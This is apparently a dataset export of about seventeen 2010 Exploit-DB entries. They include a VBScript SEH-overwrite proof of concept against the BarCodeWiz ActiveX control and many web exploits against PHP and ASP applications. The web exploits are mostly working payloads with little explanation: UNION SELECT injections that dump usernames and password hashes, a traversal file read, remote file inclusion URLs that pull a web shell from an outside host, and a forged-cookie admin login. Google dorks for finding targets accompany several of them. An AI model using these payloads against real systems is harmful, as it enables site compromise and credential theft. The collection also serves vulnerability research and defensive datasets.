QLWD/code_shield huggingface dataset:
标题: Barcodewiz BarCode ActiveX 3.29 - Denial of Service (PoC) EDB-ID: 14504 CVE: 2010-2932 类型: DOS 平台: WINDOWS 发布日期: 2010-07-30 漏洞利用脚本: # BarCodeWiz Barcode ActiveX Control 3.29 PoC (SEH)
# Bug found: 24th July 2010
# Found  by: loneferret
# Software: http://www.barcodewiz.com/
# Nods to exploit-db.com

# Vulnerable file BarCodeWiz.dll
# LoadProperties method

# Tested on:
# Windows XP Professional SP3 & Windows XP Home SP3
# Internet Explorer 6 & Internet Explorer 7
 
# Vendor contacted: 24th July 2010
# Vendor first reply: 26th July 2010: Wanting more information
# Vendor contacted: 26th July 2010: Sent 2 proof of concepts files
# Vendor contacted: 29 July 2010: Asked for update
# No Response from vendor: 30 July 2010
# Public Release : 30 Juley 2010
 

# CPU Registers Information
#
# EAX 7EFEFEFE
# ECX 0013FBF8 ASCII "AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA.................
# EDX 41414141
# EBX 01AB3D68
# ESP 0013AC94
# EBP 0013AD48
# ESI 00000000
# EDI 0013FFFD
# EIP 1002F379 BarcodeW.1002F379
# C 0  ES 0023 32bit 0(FFFFFFFF)
# P 1  CS 001B 32bit 0(FFFFFFFF)
# A 0  SS 0023 32bit 0(FFFFFFFF)
# Z 1  DS 0023 32bit 0(FFFFFFFF)
# S 0  FS 003B 32bit 7FFDF000(FFF)
# T 0  GS 0000 NULL
# D 0
# O 0  LastErr ERROR_SUCCESS (00000000)
# EFL 00010246 (NO,NB,E,BE,NS,PE,GE,LE)
# ST0 empty -??? FFFF 00690069 00690069
# ST1 empty -??? FFFF 00F000F0 00F000F0
# ST2 empty -??? FFFF 00690058 00570054
# ST3 empty -??? FFFF 00EF00C9 00C600C1
# ST4 empty -NAN FFFF FFD9D7D2 FFEEEDEB
# ST5 empty -??? FFFF 00F000C9 00C700C2
# ST6 empty 1.0000000000000000000
# ST7 empty 2838.0000000000000000
#                 3 2 1 0      E S P U O Z D I
# FST 4000  Cond 1 0 0 0  Err 0 0 0 0 0 0 0 0  (EQ)
# FCW 027F  Prec NEAR,53  Mask    1 1 1 1 1 1

# SEH Information
#
# SEH chain of main thread, item 0
#  Address=0013E574
#  SE handler=41414141


# SEH is overwritten starting at the 101th position of our buffer.

----HTML FILE FROM HERE ON-----
<html>
<object classid='clsid:CD3B09F1-26FB-41CD-B3F2-E178DFD3BCC6' id='target'></object>
<script language='vbscript'>

buffer = String(101,"A")
SEH = String(4, "B")
buffer2 = String(1895, "C")

arg1 = buffer + SEH + buffer2

target.LoadProperties arg1

 
</script>

Barcodewiz 3.29
</html> URL: https://www.exploit-db.com/exploits/14504
标题: nuBuilder 10.04.20 - Local File Inclusion EDB-ID: 14485 CVE: 2010-2850 类型: WEBAPPS 平台: PHP 发布日期: 2010-07-27 漏洞利用脚本: ------------------------------------------------------------------------
Software................nuBuilder 10.04.20
Vulnerability...........Local File Inclusion 
Download................http://sourceforge.net/projects/nubuilder/files/
Release Date............7/5/2010
Tested On...............Windows Vista + XAMPP
------------------------------------------------------------------------
Author..................John Leitch
Site....................http://cross-site-scripting.blogspot.com/
Email...................john.leitch5@gmail.com
------------------------------------------------------------------------

--Description--

A local file inclusion vulnerability in nuBuilder 10.04.20 can be
exploited to include arbitrary files.


--PoC--

http://localhost/nubuilder-10.04.20/productionnu2/fileuploader.php?dir=../../../../../../../../windows/system.ini%00 URL: https://www.exploit-db.com/exploits/14485
标题: AV Arcade 3 - Cookie Authentication Bypass EDB-ID: 14494 CVE: 2010-2933 类型: WEBAPPS 平台: PHP 发布日期: 2010-07-28 漏洞利用脚本: :----------------------------------------------------------------------------:
: # Software      : AV Arcade v3   [PHP]                                     :
: # Site          : www.avscripts.net                                        :
: # Date          : 28/07/2010                                               :
: # Author        : saudi0hacker                                             :
: # Type          : Auth Bypass / Cookie                                     :
: # Greetz to     : pr.al7rbi : so busy : evil-ksa : Dr.dakota : v4-team.com :
:----------------------------------------------------------------------------:

[1] Go to the URL:
    http://www.xxxxx.net/index.php?task=login

[2] Apply these Cookie:

    Javascript:document.cookie = "ava_username=admin;"
    Javascript:document.cookie = "ava_code=c4ca4238a0b923820dcc509a6f75849b 'or' 1=1;"

[3] Go to main Page:

[4] Enjoy URL: https://www.exploit-db.com/exploits/14494
标题: Joomla! Component TTVideo 1.0 - SQL Injection EDB-ID: 14481 CVE: 2010-2909 类型: WEBAPPS 平台: PHP 发布日期: 2010-07-27 漏洞利用脚本: TTVideo 1.0 Joomla Component SQL Injection Vulnerability

Download link: http://www.toughtomato.com/resources/downloads/joomla-1.5/components/ttvideo/

 Name              TTVideo
 Vendor            http://www.toughtomato.com
 Versions Affected 1.0

 Author            Salvatore Fresta aka Drosophila
 Website           http://www.salvatorefresta.net
 Contact           salvatorefresta [at] gmail [dot] com
 Date              2010-07-27

X. INDEX

 I.    ABOUT THE APPLICATION
 II.   DESCRIPTION
 III.  ANALYSIS
 IV.   SAMPLE CODE
 V.    FIX
 

I. ABOUT THE APPLICATION
________________________

TTVideo  is  a  Joomla!  component that makes use of the
popular  video  sharing  site  Vimeo  to  create a video
library.


II. DESCRIPTION
_______________

A  parameter  in  ttvideo.php  is not properly sanitised
before being used in a SQL query.


III. ANALYSIS
_____________

Summary:

 A) SQL Injection
 

A) SQL Injection
________________

The parameter cid passed to ttvideo.php when task is set
to video  is not properly sanitised before being used in
a SQL query.  This  can  be  exploited to manipulate SQL
queries by injecting arbitrary SQL code.  The  following
is the vulnerable code:

ttvideoController.php (line 40):

function video() {
    $cid = JRequest::getVar('cid', null, 'default');
    

ttvideo.php (line 188):

function getVideo($id) {
    $db = $this->getDBO();
    $db->setQuery("SELECT * from #__ttvideo WHERE id=$id");
    $video = $db->loadObject(); 
    if ($video === null)
      JError::raiseError(500, 'Video with ID: '.$id.' not found.');
    return $video;
}


IV. SAMPLE CODE
_______________

A) SQL Injection

http://site/path/index.php?option=com_ttvideo&task=video&cid=-1 UNION SELECT 1,2,3,4,5,6,7,8,CONCAT(username,0x3A,password),10,11,12,13,14,15,16,17 FROM jos_users


V. FIX
______

Use JRequest::getInt instead of JRequest::getVar URL: https://www.exploit-db.com/exploits/14481
标题: Joomla! Component YouTube 1.5 - SQL Injection EDB-ID: 14467 CVE: 2010-2923 类型: WEBAPPS 平台: PHP 发布日期: 2010-07-24 漏洞利用脚本: # Exploit Title: Joomla "com_youtube"  Sql Injection Vulnerability
# Date: 2010-07-24

# Author: Forza-Dz

# Software Link: http://extensions.joomla.org/extensions/multimedia/
multimedia-channels/video-channels/12037
# Version: 1.5
# Tested on: windows-xp-sp2-fr : windows-xp-sp3-fr


============================================================================== 
\\\\\\\\\\ Joomla "com_youtube" Sql Injection Vulnerability ///////// 
============================================================================== 
  
***************************************************************************
*************************************************************************** 
Dork = inurl:"com_youtube"
########################################################################### 
 ===[ Exploit ]===
http://www.site.com/index.php?option=com_youtube&id_cate=4 

union+select+1,concat(username,0x3a,email),3,4,5,6,7,8+from+jos_users--
or
http://www.site.com/index.php?option=com_youtube&id_cate=55
union+select+1,concat(username,0x3a,email),3,4,5,6,7,8+from+jos_users--
########################################################################### 
Greetz @ Flit0x-Dz AnD MCA-CRB All "DZ" "MusliM"           
########################################################################### URL: https://www.exploit-db.com/exploits/14467
标题: sNews 1.7 - 'index.php?category' SQL Injection EDB-ID: 14465 CVE: 2010-2926 类型: WEBAPPS 平台: PHP 发布日期: 2010-07-24 漏洞利用脚本: ########################################################################################

sNews v1.7 (index.php?category) SQL Injection Vulnerability

########################################################################################

Author : CoBRa_21

Author Web Page : http://www.ipbul.org

Dork: "Powered by sNews"

########################################################################################
 
Sql Injection:

http://localhost/[path]/index.php?category=-3 union select 0,version(),2,3,4,5,6,7,8

########################################################################################
Thanks http://e-banka.org & http://www.cyber-warrior.org
######################################################################################## URL: https://www.exploit-db.com/exploits/14465
标题: Joomla! Component Joomdle 0.24 - SQL Injection EDB-ID: 14466 CVE: 2010-2908 类型: WEBAPPS 平台: PHP 发布日期: 2010-07-24 漏洞利用脚本: [!]===========================================================================[!]

[~] Joomla Component Joomdle SQL vulnerability 
[~] Author : kaMtiEz (kamzcrew@yahoo.com)
[~] Homepage : http://www.indonesiancoder.com
[~] Date : 24 july, 2010

[!]===========================================================================[!]

[ Software Information ]

[+] Vendor : http://www.joomdle.com/
[+] Price : free
[+] Vulnerability : SQL
[+] Dork : inurl:"CIHUY" ;)
[+] Download : http://sourceforge.net/projects/moodle-joomla/files/
[+] Version : 0.24 or lower ;)

[!]===========================================================================[!]

[ Live From JoGJa . . . ]

[ Vulnerable File ]

http://127.0.0.1/index.php?option=com_joomdle&view=detail&cat_id=1&course_id=[INDONESIANCODER]

[ XpL ]

-999.9'+UNION+ALL+SELECT+1,2,3,4,5,group_concat(username,0x3a,password),7,8,9,10,11,12,13,14,15,16,17,18+from+mdl_user--+and+'kaMtiEz'='kaMtiEz


[ d3m0 ]

http://www.site.com/index.php?option=com_joomdle&view=detail&cat_id=1&course_id=-999.9'+UNION+ALL+SELECT+1,2,3,4,5,group_concat(username,0x3a,password),7,8,9,10,11,12,13,14,15,16,17,18+from+mdl_user--+and+'kaMtiEz'='kaMtiEz
etc etc etc ;]

[ INFO ]

[+] in this component using mdl_user NOT jos_users ;) [+]

[!]===========================================================================[!]

[ Thx TO ]

[+] INDONESIAN CODER TEAM MainHack MAGELANG CYBER ServerIsDown SurabayaHackerLink IndonesianHacker MC-CREW IH-CREW
[+] tukulesto,M3NW5,arianom,N4CK0,Jundab,d0ntcry,bobyhikaru,gonzhack,senot,Jack-,Hakz,pl4nkt0n
[+] Contrex,YadoY666,bumble_be,MarahMeraH,newbie_043,Pathloader,cimpli,MarahMerah.IBL13Z,r3m1ck
[+] Coracore,Gh4mb4s,Jack-,vYcOd,ayy,otong,CS-31,yur4kh4,MISTERFRIBO,GENI212,anharku


[ NOTE ] 

[+] WE ARE ONE UNITY, WE ARE A CODER FAMILY, AND WE ARE INDONESIAN CODER TEAM 
[+] ndue tonggo mbek sedulur kok koyo anj*ng
[+] Poker ;)
[+] sendiri di pagi hari sambil merokok menikmati indahnya pagi ;)

[ QUOTE ]

[+] INDONESIANCODER still r0x
[+] nothing secure .. URL: https://www.exploit-db.com/exploits/14466
标题: Joomla! Component Visites 1.1 RC2 - Remote File Inclusion EDB-ID: 14476 CVE: 2010-2918 类型: WEBAPPS 平台: PHP 发布日期: 2010-07-26 漏洞利用脚本: ==========================================================
Joomla Component(com_joomla-visites) RFI
===========================================================
 
                                          Pal-Li0ns Cr3w , HacKTeach LoverzZ
                                                                                          
+===================================================================================+
[?]Joomla Component(com_joomla-visites) RFI
+===================================================================================+
    [?] My home:              [HacKTeach.org & Pal-Li0ns.com           ]
    [?] For Ask:              [F5w@hotmail.com                         ]
    [?] Script:               [     joomla                             ]
    [?] home Script           [ http://www.joomla.it                   ]
    [?] Language:             [ PHP                                    ]
    [?] Founder:              [ Li0n-PaL                               ]
    [?] Greatz to:            [ Pal-Li0n - Red-D3v1L - ShaDow-D3v1L - Cold-z3ro - storm - Mr.NJ -]
 
===[ Exploit  ]===
http://localhost//administrator/components/com_joomla-visites/core/include/myMailer.class.php?mosConfig_absolute_path=[shell.txt?]
 
DeMo ~
 
http://www.site.com//administrator/components/com_joomla-visites/core/include/myMailer.class.php?mosConfig_absolute_path=http://www.site.com/r57.txt?
 
 
EnJoY o_O
 
---------------------------------------------------------
 
./exit URL: https://www.exploit-db.com/exploits/14476
标题: Joomla! Component Ozio Gallery - SQL Injection EDB-ID: 14462 CVE: 2010-2910 类型: WEBAPPS 平台: PHP 发布日期: 2010-07-24 漏洞利用脚本: # Exploit Title:   Joomla Component (com_oziogallery) SQL Injection
Vulnerability
# Date: 2010/07/25
# Author: ViRuS Qalaa
# Email: em9@live.com
# My Sites : www.pal-mafia.com & www.vbspiders.com
# Tested on: Windows
# Team hacker:ViRuS Qalaa & HaCkEr aRaR >>>X-MaN HaCk3r TeaM
# HaCkEr aRaR: y.0@hotmail.de
:::::::::::::::::::::::::
Iam ViRuS Qalaa Frome Iraq Hackers
=================Exploit=================
----exploit----
Dork: inurl:"index.php?option=com_oziogallery"

http://{localhost}/{path}/index.php?option=com_oziogallery&Itemid=[SQL]

---------greatz----------
Greatz to :
hacker aRaR,ViRuS KSA,Q2,ArTeN

and My friends Others and My friends in MSN
EnJoY o_O URL: https://www.exploit-db.com/exploits/14462
标题: AKY Blog - SQL Injection EDB-ID: 14461 CVE: 2010-2922 类型: WEBAPPS 平台: ASP 发布日期: 2010-07-24 漏洞利用脚本: ===================================================
AKY Blog SQL İnjection 
===================================================
 
Author : Madconfig
Homepage :  www.worldhackerz.com
Mail : admin[at]worldhackerz[dot].com
Script : http://www.aspindir.com/indir.asp?ID=5954&sIslem=Indir
Risk : No Risk Just Enjoy
Dork :  :/ sorry
 
===================================================

[+] Vulnerable File : 

http://www.site.com/default.asp?islem=devami&id=38%20union+select+all+0,
sifre,2,3%20,4,5+from+aky_ayarlar

===================================================

[+] Demo : 

http://www.site.com/blog/default.asp?islem=devami&id=38%20union+s
elect+all+0,sifre,2,3%20,4,5+from+aky_ayarlar

===================================================

Greetz : Mezar,v0calist ,PaLa , By.ege, StreetCoder , AnqelHacker,M0sted 

and all  www.worldhackerz.com Member 

===================================================

# Turkish P0wer URL: https://www.exploit-db.com/exploits/14461
标题: Joomla! Component Golf Course Guide 0.9.6.0 - SQL Injection EDB-ID: 14448 CVE: 2010-2921 类型: WEBAPPS 平台: PHP 发布日期: 2010-07-23 漏洞利用脚本: # Exploit Title: Joomla Component com_golfcourseguide SQL Injection Vulnerability
# Date: 23.07.2010
# Author: Valentin
# Category: webapps/0day
# Version: v0.9.6.0 beta, v1 beta
# Tested on: 
# CVE :  
# Code : 

[:::::::::::::::::::::::::::::::::::::: 0x1 ::::::::::::::::::::::::::::::::::::::]
>> General Information 
Advisory/Exploit Title = Joomla Component com_golfcourseguide SQL Injection Vulnerability
Author = Valentin Hoebel
Contact = valentin@xenuser.org

[:::::::::::::::::::::::::::::::::::::: 0x2 ::::::::::::::::::::::::::::::::::::::]
>> Product information
Name = Golf Course Guide
Vendor = Oh-Taek Im
Vendor Website = http://www.photoindochina.com/
Affected Version(s) = v0.9.6.0 beta, v1 beta
 
[:::::::::::::::::::::::::::::::::::::: 0x3 ::::::::::::::::::::::::::::::::::::::]
>> SQL Injection
http://target/
index.php?option=com_golfcourseguide&view=golfcourses&cid=1&id=[SQL Injection]

[:::::::::::::::::::::::::::::::::::::: 0x4 ::::::::::::::::::::::::::::::::::::::]
>> Additional Information
Advisory/Exploit Published = 23.07.2010

[:::::::::::::::::::::::::::::::::::::: 0x5 ::::::::::::::::::::::::::::::::::::::]
>> Misc
Greetz = cr4wl3r, JosS,packetstormsecurity.org!

[:::::::::::::::::::::::::::::::::::::: EOF ::::::::::::::::::::::::::::::::::::::] URL: https://www.exploit-db.com/exploits/14448
标题: Joomla! Component Huru Helpdesk - SQL Injection (2) EDB-ID: 14449 CVE: 2010-2907 类型: WEBAPPS 平台: PHP 发布日期: 2010-07-23 漏洞利用脚本: ====================================================
Joomla Component com_huruhelpdesk SQL Injection Vulnerability
===================================================

Author :   Amine_92
Email  : [amine92_16@hotmail.fr]
Homepage : { www.vbhacker.net/vb }
DORK    :  inurl:"index.php?option=com_huruhelpdesk"
===================================================

[+] Vulnerable File :
http://www.Victime.com/index.php?option=com_huruhelpdesk&view=detail&cid[0]=[SQL]

[+] ExploiT :
-1/**/union/**/select/**/1,2,3,concat%28username,0x3a,password%29,5,6,7+from+jos_users--

[+] Example :
http://www.Victime.com/index.php?option=com_huruhelpdesk&view=detail&cid[0]=-1/**/union/**/select/**/1,2,3,concat%28username,0x3a,password%29,5,6,7+from+jos_users--
[+] Demo :
http://www.Victime.com/index.php?option=com_huruhelpdesk&view=detail&cid[0]=-1/**/union/**/select/**/1,2,3,concat%28username,0x3a,password%29,5,6,7+from+jos_users--

====================================================
Thank's to :awras,italiano_capilo & all my friends URL: https://www.exploit-db.com/exploits/14449
标题: PhotoPost PHP 4.6.5 - 'ecard.php' SQL Injection EDB-ID: 14453 CVE: 2005-0929 2004-0239 类型: WEBAPPS 平台: PHP 发布日期: 2010-07-23 漏洞利用脚本: ########################################################################################

PhotoPost PHP 4.6.5 (ecard.php?ecard) SQL Injection Vulnerability

########################################################################################

Author : CoBRa_21

Author Web Page : http://www.ipbul.org

Dork: "Powered by: PhotoPost PHP 4.6.5"

########################################################################################
 
Sql Injection:

http://localhost/[path]/ecard.php?ecard=418337 (Sql)

http://localhost/[path]/showphoto.php?photo=418337 (Sql)

########################################################################################
Thanks : http://www.e-banka.org URL: https://www.exploit-db.com/exploits/14453
标题: AJ HYIP PRIME - 'welcome.php?id' Blind SQL Injection EDB-ID: 14435 CVE: 2010-2915 类型: WEBAPPS 平台: PHP 发布日期: 2010-07-22 漏洞利用脚本: AJ HYIP PRIME (welcome.php id) Blind SQL Injection Vulnerability
bug found by Jose Luis Gongora Fernandez (a.k.a) JosS

contact: sys-project[at]hotmail.com
website: http://www.hack0wn.com/

- site: http://www.ajsquare.com/products/ajhyip/index.php

- about AJ HYIP:

AJ HYIP is a complete financial tool with no technical 
knowledge required to manage the site. AJ HYIP software 
is the latest and most advanced HYIP Script with excellent 
navigation features. Our HYIP Script can be easily customized 
to accustom your needs with a potential to generate heavy revenues.


~~ [POC]

http://target/path/welcome.php?id=3 [bSQL]
http://target/path/welcome.php?id=3 and 1=1
http://target/path/welcome.php?id=3 and 1=2

~~ [DEMO]

http://server/prime/welcome.php?id=3 and substring(@@version,1,1)=4
http://server/prime/welcome.php?id=3 and substring(@@version,1,1)=5


 __h0__ URL: https://www.exploit-db.com/exploits/14435
标题: Free PHP Photo Gallery Script - Remote File Inclusion EDB-ID: 14438 CVE: 2010-4948 类型: WEBAPPS 平台: PHP 发布日期: 2010-07-22 漏洞利用脚本: # Exploit Title:   Free PHP photo gallery script Remote File inclusion
Vulnerability
# Date: 2010/07/21
# Author: ViRuS Qalaa
# Email: em9@live.com
# My Sites : www.pal-mafia.com & www.vbspiders.com
# Script home: http://www.phpgalleryscript.org
# download Script: http://phpweby.com/downloads/gallery
# Tested on: Windows
# Team hacker:ViRuS Qalaa & HaCkEr aRaR >>>X-MaN HaCk3r TeaM
# HaCkEr aRaR: y.0@hotmail.de
:::::::::::::::::::::::::
Iam ViRuS Qalaa Frome Iraq Hackers
=================Exploit=================

-=[ vuln c0de ]=-
include_once($path);
/jadro/libs/adodb/adodb.inc.php
Line:4227

----exploit----
Dork: "PHP Gallery © 2010 PHP Weby hostgator coupon"

http://{localhost}/{path}/jadro/libs/adodb/adodb.inc.php?path=shell.txt?

---------greatz----------
Greatz to :
hacker arar,ViRuS KSA,Q2,Spy-iq

and My friends Others and My friends in MSN
EnJoY o_O URL: https://www.exploit-db.com/exploits/14438
标题: WordPress Plugin myLDlinker - SQL Injection EDB-ID: 14441 CVE: 2010-2924 类型: WEBAPPS 平台: PHP 发布日期: 2010-07-22 漏洞利用脚本: 010101010101010101010101010101010101010101010101010101010    
   0                                                       0
   1  Iranian Datacoders Security Team 2010
   0                                                       0
   010101010101010101010101010101010101010101010101010101010


# Exploit Title: Word Press SQL Injection ( in myLDlinker.php Plugin )                   
# Date: 23/07/2010                             
# Author: H-SK33PY                      
# Software Link: http://www.wordpress.com/
# Version: 2.9.2
# Google dork :inurl:"myLDlinker.php"
# Platform / Tested on: linux
# Category: Expliot code
# Code : [SQLi]

#BUG:#########################################################################

After find plugin at sites run SQL Inject :


example : http://site.com/myLDlinker.php?url=18[SQLi]


#############################################################################
Website : http://www.datacoders.ir

Special Thanks to : ccC0d3rZzz & AGT & all iranian datacoders members

############################################################################# URL: https://www.exploit-db.com/exploits/14441
标题: AJ HYIP MERIDIAN - 'news.php?id' Blind SQL Injection EDB-ID: 14436 CVE: 2010-2916 类型: WEBAPPS 平台: PHP 发布日期: 2010-07-22 漏洞利用脚本: AJ HYIP MERIDIAN (news.php id) Blind SQL Injection Vulnerability
bug found by Jose Luis Gongora Fernandez (a.k.a) JosS

contact: sys-project[at]hotmail.com
website: http://www.hack0wn.com/

- site: http://www.ajsquare.com/products/ajhyip/index.php

- about AJ HYIP:

AJ HYIP is a complete financial tool with no technical 
knowledge required to manage the site. AJ HYIP software 
is the latest and most advanced HYIP Script with excellent 
navigation features. Our HYIP Script can be easily customized 
to accustom your needs with a potential to generate heavy revenues.


~~ [POC]

http://target/path/news.php?id=1 [bSQL]
http://target/path/news.php?id=1 and 1=1
http://target/path/news.php?id=1 and 1=2

~~ [DEMO]

http://server/meridian/news.php?id=1 and substring(@@version,1,1)=4
http://server/meridian/news.php?id=1 and substring(@@version,1,1)=5


 __h0__ URL: https://www.exploit-db.com/exploits/14436